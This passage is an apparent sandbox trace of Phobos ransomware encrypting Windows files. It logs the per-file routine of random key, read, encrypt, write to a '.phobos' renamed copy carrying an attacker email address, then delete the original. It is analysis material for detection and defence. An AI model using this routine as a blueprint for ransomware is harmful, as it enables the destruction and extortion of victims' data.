shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0133.740] SetEvent (hEvent=0x298) returned 1 [0133.740] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.741] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=987136) returned 1 [0133.741] CloseHandle (hObject=0x300) returned 1 [0133.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0133.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.741] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.743] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=12448) returned 1 [0133.743] CloseHandle (hObject=0x300) returned 1 [0133.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0133.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.745] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.746] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.765] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7530d8) returned 1 [0133.765] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.765] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x30a0, lpOverlapped=0x0) returned 1 [0133.809] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30b0, dwBufLen=0x30b0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30b0) returned 1 [0133.809] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x30b0, lpOverlapped=0x0) returned 1 [0133.810] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752cd8) returned 1 [0133.810] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.810] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0133.810] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.810] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0133.810] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.810] CloseHandle (hObject=0x300) returned 1 [0133.810] CloseHandle (hObject=0x2b4) returned 1 [0133.810] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0133.811] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.811] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=100488) returned 1 [0133.812] CloseHandle (hObject=0x2b4) returned 1 [0133.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0133.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.812] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.812] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.812] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752cd8) returned 1 [0133.812] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.812] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x18888, lpOverlapped=0x0) returned 1 [0133.844] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x18890, dwBufLen=0x18890 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x18890) returned 1 [0133.844] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x18890, lpOverlapped=0x0) returned 1 [0133.846] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d58) returned 1 [0133.846] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.846] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0133.846] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.846] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0133.846] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.846] CloseHandle (hObject=0x2b4) returned 1 [0133.846] CloseHandle (hObject=0x300) returned 1 [0133.846] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0133.848] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.848] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=48872) returned 1 [0133.848] CloseHandle (hObject=0x300) returned 1 [0133.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0133.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.848] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.848] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.849] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752e18) returned 1 [0133.849] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.849] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xbee8, lpOverlapped=0x0) returned 1 [0133.855] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xbef0, dwBufLen=0xbef0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xbef0) returned 1 [0133.856] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xbef0, lpOverlapped=0x0) returned 1 [0133.857] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753198) returned 1 [0133.857] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0133.857] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0133.857] CryptDestroyKey (hKey=0x753198) returned 1 [0133.857] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0133.857] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.857] CloseHandle (hObject=0x300) returned 1 [0133.857] CloseHandle (hObject=0x2b4) returned 1 [0133.857] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0133.858] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.859] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=168064) returned 1 [0133.859] CloseHandle (hObject=0x2b4) returned 1 [0133.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0133.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.859] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.859] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0133.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.092] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752d58) returned 1 [0134.092] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.092] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x29080, lpOverlapped=0x0) returned 1 [0134.162] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x29090, dwBufLen=0x29090 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x29090) returned 1 [0134.162] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x29090, lpOverlapped=0x0) returned 1 [0134.165] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752dd8) returned 1 [0134.165] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.165] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.165] CryptDestroyKey (hKey=0x752dd8) returned 1 [0134.165] WriteFile (in: hFile=0x2f8, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.165] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.165] CloseHandle (hObject=0x2b4) returned 1 [0134.165] CloseHandle (hObject=0x2f8) returned 1 [0134.165] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0134.167] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.167] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=17920) returned 1 [0134.167] CloseHandle (hObject=0x2f8) returned 1 [0134.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0134.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.167] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.167] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.167] CloseHandle (hObject=0x2f8) returned 1 [0134.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0134.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.168] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.168] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1233920) returned 1 [0134.168] CloseHandle (hObject=0x2f8) returned 1 [0134.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0134.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.168] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.168] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=50688) returned 1 [0134.168] CloseHandle (hObject=0x2f8) returned 1 [0134.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0134.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), 